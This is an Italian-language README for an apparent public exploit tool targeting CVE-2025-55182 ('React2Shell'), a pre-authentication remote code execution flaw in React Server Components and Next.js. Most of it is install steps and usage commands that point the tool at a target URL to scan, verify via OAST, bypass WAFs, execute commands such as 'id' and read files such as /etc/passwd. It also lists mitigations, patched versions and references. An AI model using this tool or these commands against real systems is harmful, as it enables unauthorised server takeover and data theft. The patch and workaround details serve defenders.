
Exploit RCE pre-autenticazione per CVE-2025-55182 (React2Shell) che prende di mira React Server Components. Include scansione, verifica OAST, bypass WAF, esecuzione di comandi e lettura di file.
Esecuzione remota di codice (RCE) pre-autenticazione in React Server Components (RSC), Next.js e framework correlati.
CVE-2025-55182 (nota anche come React2Shell) è una vulnerabilità critica di RCE pre-autenticazione che colpisce l'ecosistema React Server Components (RSC). Un attaccante non autenticato può compromettere completamente un server vulnerabile con una singola richiesta HTTP POST appositamente elaborata.
React Server Components utilizza un formato wire personalizzato chiamato React Flight per serializzare riferimenti a funzioni e chiamate di moduli. La vulnerabilità risiede nel meccanismo di decodifica dei payload che elabora le richieste POST in arrivo verso gli endpoint RSC.
Quando il server riceve un payload React Flight, deserializza il contenuto senza un'adeguata validazione, fidandosi dei campi $$typeof controllati dall'attaccante e della risoluzione dei riferimenti ai moduli. Ciò consente a un attaccante di:
child_process, fs, net)$F (funzione)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical
id, whoami)./etc/passwd, package.json).git clone https://github.com/SentinelXofficial/CVE-2025-55182
cd CVE-2025-55182
pip install -r requirements.txt
Utilizzo
Scansione di Base
python3 poc.py -t https://target.com
python3 poc.py -t https://target.com --timeout 15
python3 poc.py -t https://target.com --json
Verifica RCE con OAST
python3 poc.py -t https://target.com -m verify --oast your.oast.domain
Test Completo di Bypass
python3 poc.py -t https://target.com -m bypass --verbose
Esegui Comandi
python3 poc.py -t https://target.com -m exec --cmd "id"
python3 poc.py -t https://target.com -m exec --cmd "whoami" --timeout 20
Leggi File
python3 poc.py -t https://target.com -m read --file "/etc/passwd"
python3 poc.py -t https://target.com -m read --file "/app/package.json"
Utilizzo di un Proxy (es. Burp Suite)
python3 poc.py -t https://target.com --proxy http://127.0.0.1:8080
Struttura dei File
CVE-2025-55182/
├── README.md
├── poc.py
├── requirements.txt
└── exploit/
├── __init__.py
├── payloads.py
├── scanner.py
├── bypass.py
└── rce.py
Mitigazione
Patch (Consigliata)
npm install [email protected]
npm install [email protected] [email protected]
Workaround Temporanei
· Disattivare le Server Functions ("use server") · Regole WAF per bloccare Content-Type: text/x-component · Segmentazione di rete per gli endpoint RSC
Riferimenti
· https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components · https://www.cve.org/CVERecord?id=CVE-2025-55182 · https://nvd.nist.gov/vuln/detail/CVE-2025-55182
Disclaimer: Solo per test di sicurezza autorizzati.
Autore: SentinelX · https://t.me/SentinelXsecurity
| Pacchetto | Vulnerabile | Corretta |
|---|
react-server-dom-webpack | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
react-server-dom-parcel | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
react-server-dom-turbopack | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
next (13.x) | 13.3.0 – 13.5.x | ≥ 14.2.35 |
next (14.x) | 14.0.0 – 14.2.34 | ≥ 14.2.35 |
next (15.x) | 15.0.0+ (vedi patch) | release corrette |